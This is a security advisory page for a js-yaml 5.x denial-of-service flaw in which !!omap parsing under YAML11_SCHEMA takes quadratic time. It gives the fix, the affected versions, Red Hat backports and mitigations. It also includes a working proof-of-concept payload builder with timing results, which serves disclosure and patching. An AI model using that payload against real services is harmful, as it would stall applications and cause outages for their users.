CVE-2026-59870 is a high-severity (CVSS 7.5) CWE-407 vulnerability in js-yaml. A fix is available for js-yaml — see the affected versions and patch details below.
js-yaml quadratic-complexity denial of service via YAML11_SCHEMA !!omap parsing
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-59870.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-59870 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 385,386 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
js-yamlnpmDescription
Summary
js-yaml v5.x introduces YAML11_SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11_SCHEMA }.
Details
In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525):
var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => [],
addItem: (container, item) => {
// ...
for (const existing of container) // O(n) per insertion!
if (hasOwnProperty(existing, itemKeys[0]))
return 'cannot resolve an ordered map item';
container.push(object); // n insertions → O(n^2) total
return '';
}
});
For a document with n unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = O(n²) total work.
PoC (runtime-confirmed on v5.2.0)
const yaml = require('js-yaml');
function buildOmapPayload(n) {
let p = '!!omap\n';
for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n';
return p;
}
// Timing results on v5.2.0:
// n=1000: 9ms
// n=5000: 73ms (5x n → 8x time)
// n=10000: 255ms (2x n → 3.5x time — supralinear)
// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)
// n=50000: 10613ms ← blocks event loop for >10 seconds
yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });
Impact
Any application that parses untrusted YAML using yaml.load(input, { schema: yaml.YAML11_SCHEMA }) is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).
This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including !!omap. The 4.x series is unaffected (no YAML11_SCHEMA export).
Fix
Replace the O(n) linear scan in addItem with an O(1) Set-based lookup:
var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => ({ list: [], seen: new Set() }),
addItem: (state, item) => {
const key = Object.keys(item)[0];
if (state.seen.has(key)) return 'duplicate omap key';
state.seen.add(key);
state.list.push(item);
return '';
},
resolve: (state) => state.list
});
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | js-yaml | ≥ 5.0.0&&< 5.2.1 | 5.2.1npm install js-yaml@5.2.1 |
Affected Products
js-yamlnodecaDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for js-yaml, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update js-yaml to 5.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-59870 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
js-yaml versions 5.0.0 through 5.2.0 are vulnerable to a denial of service via the omapTag.addItem() O(n^2) duplicate-key scan when parsing crafted YAML ordered-map documents with the YAML11_SCHEMA. This affects yaml.load() calls using that schema. Fixed in 5.2.1.
Avoid using the YAML11_SCHEMA when parsing untrusted YAML input, or upgrade to js-yaml 5.2.1 or later. Applications using the default schema (CORE_SCHEMA) are not affected.Source: Red Hat security advisory for CVE-2026-59870 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Hardened Images | dotnet8-0-main-8.0.128-1.hum1 | RHSA-2026:26994 |
| Red Hat Hardened Images | nodejs26-main-11.17.0-1.26.4.0.1.3.hum1 | RHSA-2026:33866 |
| Red Hat Hardened Images | nodejs24-main-11.16.0-1.24.18.0.0.2.hum1 | RHSA-2026:34478 |
| Red Hat Hardened Images | rust-main-1.96.1-1.hum1 | RHSA-2026:34975 |
| Red Hat Hardened Images | nodejs22-main-10.9.8-1.22.23.1.2.hum1 | RHSA-2026:35272 |
| Red Hat Hardened Images | nodejs25-main-11.12.1-1.25.9.0.1.1.hum1 | RHSA-2026:7378 |
| Red Hat Hardened Images | yarnpkg-main-1.22.22-18.1.hum1 | RHSA-2026:7655 |
| Red Hat Hardened Images | nodejs20-main-10.8.2-1.20.20.2.1.hum1 | RHSA-2026:9455 |
Frequently Asked Questions
Is CVE-2026-59870 in your dependencies?
Find it across npm, including transitive dependencies.